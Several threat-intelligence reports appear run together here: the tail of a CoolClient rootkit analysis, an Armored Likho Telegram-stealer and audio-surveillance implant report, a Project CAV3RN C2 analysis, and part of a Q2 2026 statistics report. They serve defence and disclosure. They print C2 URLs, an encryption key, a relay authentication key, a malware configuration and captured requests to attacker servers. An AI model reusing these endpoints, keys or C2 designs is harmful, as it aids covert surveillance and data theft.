This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.

Nsiproxy hooking and data filtering

The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.

To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.

Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine

When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.

Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.

Victimology

The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.

Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.

Attribution

Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.

The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.

Conclusion

The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.

HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.

IOCs

2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll

C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\

cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com

In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.

We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.

During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.

The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.

In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.

Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.

Background

Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.

Initial infection

The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.

In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.

The login form

After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.

Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.

Still Sync

Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.

Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.

How it works

When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:

• STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
• STILL_SEND_PATH: the path to the tdata
• STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.

Sync also supports several command-line arguments:

• --console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
• --version: prints version information and exits.
• --firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
• --db: turns on debug mode with detailed logging.

Example Still Sync logs

Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:

• Motherboard serial number
• CPU ID
• System UUID
• BIOS serial number
• Computer domain name

The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.

Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.

Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:

• enabled: triggers malicious activity on the infected device.
• scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
• fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
• download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.

These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.

Telegram data collection

Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:

• C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
• C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
• C:\: used for the extended search (if the scan_portable option is on).

Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:

• snapshot_id: an identifier the server assigns to the current data snapshot.
• present: a list of file paths that are already present on the server.

This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:

• Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
• Creating a backup copy through the Shadow Copy service and reading files from there
• If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode

Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:

• User details, such as username, phone number, first and last name
• Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
• Dialogs from private chats, groups, and channels (if the download_channels option is on)
• Media files under 250MB: photos, documents, stickers, and contacts

Still Audio

Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.

On launch, Still Audio performs a sequence of actions:

• It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
• If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
• While running in the background, it creates a file, logfile.log, to write logs to.

Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.

Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json

Encrypted C2 address inside the GitHub repository

The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.

Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:

/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.

The server responds with settings for the implant:

• machine_id: a unique identifier for the current device.
• vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
• max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
• max_buffer_size: the maximum buffer size for recorded audio data.
• active_device: the name of the input device selected for recording, from the list of available devices.

The eavesdropping process

Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.

The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.

Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:

The malicious module in the list of apps using the microphone

Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.

Infrastructure

This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:

• They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
• Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.

Victims

In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.

Attribution

This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:

• Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
• The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
• Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
• Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.

Takeaways

The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.

One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.

The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.

Indicators of compromise

Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.

File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D

Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD

Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436

Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

IT threat evolution in Q2 2026. Non-mobile statistics
IT threat evolution in Q2 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q2 2026:

• Kaspersky products blocked nearly 400 million attacks that originated with various online resources.
• Web Anti-Virus responded to 52 million unique links.
• File Anti-Virus blocked more than 16 million malicious and potentially unwanted objects.
• There were 2538 new ransomware variants discovered.
• More than 71,000 users experienced ransomware attacks.
• 15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were attacked by Qilin.
• More than 213,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Threat actor disruption

Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.

Vulnerabilities and attacks

CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.

Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.

Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new ransomware variants

In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.

Number of new ransomware modifications, Q2 2025 — Q2 2026 (download)

Number of users attacked by ransomware Trojans

Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.

Number of unique users attacked by ransomware Trojans, Q2 2026 (download)

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new miner variants

In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.

Number of new miner modifications, Q2 2026 (download)

Number of users attacked by miners

In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q2 2026 (download)

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

Quarterly highlights

In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.

In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.

In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.

TOP 20 threats to macOS

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The share of SSH attacks saw a slight uptick compared to the previous quarter.

Distribution of cybercriminal sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.

Attacks on IoT honeypots

the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.

The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.

Attacks via web resources

